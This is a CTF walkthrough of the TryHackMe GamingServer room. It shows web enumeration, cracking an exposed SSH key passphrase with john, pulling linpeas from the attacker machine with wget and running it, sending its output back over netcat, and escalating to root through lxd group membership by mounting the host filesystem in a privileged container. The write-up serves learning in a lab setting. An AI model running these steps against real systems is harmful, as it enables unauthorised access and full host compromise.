TryHackMe | GamingServer
This is one (of many) walkthrough for the GamingServer CTF room. As always, I try to follow some simple enumeration steps to expose potential flaws from this article.
Enumeration
As usual, I use nmap to see which ports are open.
$ nmap -sCV $IP-ADDRESS
Starting Nmap 7.60 ( https://nmap.org ) at 2023-02-18 18:06 GMT
Host is up (0.0012s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_ 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
MAC Address: 02:1D:6B:E2:91:85 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
After accessing the web server on a browser, I found some comments at the very bottom of the main page. john seems to be one of the developer of the web application. Perhaps could be used as a SSH or something 🤔. Additionally, this website used a template from freewebsitetemplates.com. But, it didn’t seem to take me nowhere.
Afterwards, I tried to use gobuster to brute force some URIs.
$ gobuster dir -u http://$IP-ADDRESS -x html,txt,js,py,php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://$IP-ADDRESS
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,txt,js,py,php
[+] Timeout: 10s
===============================================================
2023/02/18 18:09:15 Starting gobuster
===============================================================
...
/about.php (Status: 200)
/about.html (Status: 200)
/index.html (Status: 200)
/index.html (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/secret (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2023/02/18 18:09:41 Finished
===============================================================
Two folders stand out from the command output: uploads and secret (not so secret 😺). After accessing both directories I was able to find some goodies inside. The most obvious item found was a private key, which could use it for a SSH access later on. Two more elements were found in the same location: (1) a dictionary containing some words that could be easily passwords and an image that could have some hidden information inside.
ssh2john is part of “John the Reaper” suite. This tool transforms a private key into the john format to be cracked later. With that in mind, I extracted the john hash and tried to crack it with the dictionary list.
# FROM THE THM VM
$ locate ssh2john
/opt/john/ssh2john.py
$ /opt/john/ssh2john.py secretKey > hash
$ john hash --wordlist=dict.lst
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (secretKey)
1g 0:00:00:00 DONE (2023-02-24 15:08) 50.00g/s 11100p/s 11100c/s 11100C/s baseball..starwars
Session completed.
Lucky or not, I got a password to the private key. Am I able to access the server through SSH? Will it blend?
# first, give the right permissions to the secret key file
$ chmod 600 secretKey
$ ssh -i secretKey john@$IP-ADDRESS
Enter passphrase for key 'secretKey': letmein
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
...
0 packages can be updated.
0 updates are security updates.
Last login: Mon Jul 27 20:17:26 2020 from 10.8.5.10
john@exploitable:~$ whoami
john
I am in! The user flag is right in the corner. Grab it and answer the first question.
Privilege Escalation
The remaining of the CTF introduced some new challenges. The very first thing to do was to list the commands I was allowed to execute on behalf of john. There was a problem right here! I didn’t have the password of john. So I couldn’t know which programs I can execute. Taking more steps on my CTF steps, I could not find any useful information in the cron jobs as well. Needless to say that my CTF resolution steps didn’t workout in this case.
As a last resource, I used linpeas to walk through every single in the system and find potential paths for privilege escalation. Ultimately, I redirected the output through netcat so I can analyse the output later.
# FROM THM VM
cd /path/to/linpeas
python3 -m http.server 9000
# FROM SSH SESSION
$ mktemp -d
$ /tmp/tmp.fTPHbaYp9b
$ cd /tmp/tmp.fTPHbaYp9b
$ wget http://$THM-VM-IP-ADDRESS:9000/linpeas.sh
$ chmod +x linpeas.sh
# wait a few moments to generate the result
$ ./linpeas.sh > linpeas_result.txt
# FROM THM VM
nc -lvnp 4444 > linpeas_result.txt
# FROM SSH SESSION
nc $THM-VM-IP-ADDRESS 4444 < linpeas_result.txt
I tried to went through the first red flag provided by linpeas. From the output it seemed that I potentially escalate privileges through the groups.
OS: Linux version 4.15.0-76-generic (buildd@lcy01-amd64-029) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18
.04.1)) #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020
User & Groups: uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Hostname: exploitable
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
I noticed several (weird?) groups, namely sudo and lxd. Linpeas didn’t give any hint about them. Just marked them as potential privilege escalation vectors. The resolution of the next challenges required a further investigation on the matter as I didn’t now nothing about lxd. After some research, I found a pretty good article explaining lxd in detail, and also how could it be exploited.
LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. It often does not attempt to match the privileges of the calling user.
As stated in the article, there are a couple of ways to exploit lxd. One of them is to mount the hosts filesystem into a container and give root permissions to access the container. As john was a member of the lxd group, I was able to exploit it. From this point on, I relied completely on the explanation of the article to achieve my goal, escalate john permissions to root.
$ lxd list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
# FROM THM VM
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ python3 -m http.server 9000
# FROM SSH SESSION
$ wget http://$THM-VM-IP-ADDRESS:9000/alpine-v3.13-x86_64-20210218_0139.tar.gz
$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b --alias myimage
$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Feb 24, 2023 at 3:50pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
$ lxc init myimage ignite -c security.privileged=true
Creating ignite
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
$ lxc start ignite
$ lxc exec ignite /bin/sh
~ # whoami
root
# find the root flag file
$ find / -type f -name *.txt 2>/dev/null
...
/mnt/root/root/root.txt
...
Following all the steps allowed me to spawn a shell with root privileges under the mounted filesystem. Last but not least, we needed to find the location of the root file.
Conclusion
This CTF turned out to be a bit complicated due to the lack of knowledge of lxc. I got pretty lucky that this one turned out to be the solution, otherwise I would had to dig deeper into the linpeas result and most probably get stuck . Nonetheless, is always positive to learn from others and keep adding more tools to my skillset. Kudos to SuitGuy to create this one! 👍